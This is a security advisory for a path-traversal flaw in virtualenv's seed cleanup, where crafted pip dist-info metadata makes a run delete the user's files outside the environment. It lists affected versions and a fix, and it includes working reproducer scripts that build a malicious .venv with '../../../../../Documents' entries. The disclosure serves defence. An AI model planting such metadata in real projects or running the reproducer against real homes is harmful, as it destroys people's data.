---
id: "CVE-2026-113719"
kind: "vulnerability"
aliases: ["CVE-2026-113719", "GHSA-hhxq-47xx-j5xx"]
title: "virtualenv: Seed replacement does not contain metadata deletion paths"
severity: "medium"
cvss: 4.5
epss: 0.00117
exploited: false
status: "open"
category: "package"
products: [{"name": "virtualenv", "fixed": ["21.14.9"], "affected": "< 21.14.9", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-22", "developer-workstations", "package", "python", "shared-build-hosts", "virtualenv"]
not_affected_if: ["fresh-empty-environment", "no-untrusted-venv-reuse", "single-user-machine"]
published_at: "2026-10-20T20:17:18+00:00"
first_seen_at: "2026-10-23T21:57:21+00:00"
updated_at: "2026-10-25T04:35:41+00:00"
sources: [{"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113719", "first_seen_at": "2026-10-23T21:57:21+00:00"}, {"source": "ghsa", "url": "https://github.com/advisories/GHSA-hhxq-47xx-j5xx", "first_seen_at": "2026-10-23T22:22:36+00:00"}]
---

# virtualenv: Seed replacement does not contain metadata deletion paths

When virtualenv reuses an existing environment, it reads pip dist-info metadata and deletes the paths it names without checking they stay inside the environment. A crafted metadata entry can make a run delete the invoking user's files such as ~/Documents or ~/notes.txt.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:virtualenv affected < 21.14.9 fixed 21.14.9

## How to check

- Run `virtualenv --version` and compare against `21.14.9`.
- Run `pip show virtualenv` in the environment that runs virtualenv, or check the pinned version in `requirements.txt` or `pyproject.toml`.
- Look for untrusted `pip-*.dist-info` directories inside reused `.venv/lib/python3.X/site-packages` trees.

## Fix

- Upgrade virtualenv to `21.14.9` or later (fix in PR #3428).
- Until upgraded, recreate environments in a trusted empty destination instead of reseeding a tree with untrusted installed metadata.

## Timeline

- 2026-10-23T21:57:21+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113719
- 2026-10-23T22:22:36+00:00 ghsa https://github.com/advisories/GHSA-hhxq-47xx-j5xx

## From the sources

## Summary

The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths
without checking containment within the environment.

Anthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Removal of a previously installed seed package.

## Attacker-controlled input

An environment being reused must contain distribution metadata influenced by another account. The invoking user must
have deletion rights over the paths named by that metadata. Installing a new environment without existing package
metadata does not enter this cleanup path.

## Affected code

The relevant 21.14.8 source is in
[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).

## Mechanism

Before reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`
directory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to
`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the
path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing
seed-package metadata; `--clear` removes that tree first.

## Reproduction and evidence

The scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`
contained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user's home initially held
`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.
A control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in
place. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.

The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It
requires an existing destination that another account could populate; a fresh empty environment does not supply hostile
metadata. The report traces this cleanup to #2186, first released in 20.8.1.
[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root
and refuses to delete the root itself.

## Attack sequence

```mermaid
sequenceDiagram
    participant A as Prepared .venv metadata
    participant V as App-data seeder
    participant P as site-packages
    participant H as User home
    A->>P: top_level.txt names ../../../../../Documents
    A->>P: RECORD names ../../../../../notes.txt
    V->>P: read pip-1.0.dist-info before reinstall
    P->>H: join entries without containment check
    V->>H: remove Documents and notes.txt
    V-->>A: virtualenv exits successfully
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")


def make_home(name):
    home = work / name
    (home / "Documents" / "thesis").mkdir(parents=True)
    (home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
    (home / "notes.txt").write_text("my notes\n")
    return home


def unpack_attacker_project(home, top_level_line, record_line):
    subprocess.run(
        [sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
        check=True,
    )


def user_runs_virtualenv(home):
    # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
    result = subprocess.run(
        ["virtualenv", "--no-periodic-update", ".venv"],
        cwd=home / "project",
        env={**os.environ, "HOME": str(home)},
        stdout=subprocess.PIPE,
        text=True,
        check=True,
    )
    print(result.stdout, end="")


def files_left(home):
    return [f for f in USER_FILES if (home / f).exists()]


# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL  user files still in ~ after virtualenv: {control_left}")

# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE   user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")

# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")
```

**`repro.d/make_project_tree.py`**

```text
#!/usr/bin/env python3
import sys
from pathlib import Path

project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]

project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")

# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
    dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
    dist_info.mkdir(parents=True)
    (dist_info / "top_level.txt").write_text(top_level_line + "\n")
    (dist_info / "RECORD").write_text(record_line + "\n")
```

## Impact

Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have
deletion rights over those paths.

Severity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.

## Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final
links are removed without following their targets; parent links participate in containment checks.

Fix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).

## Known mitigation

Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.

## Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

## Credits

Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_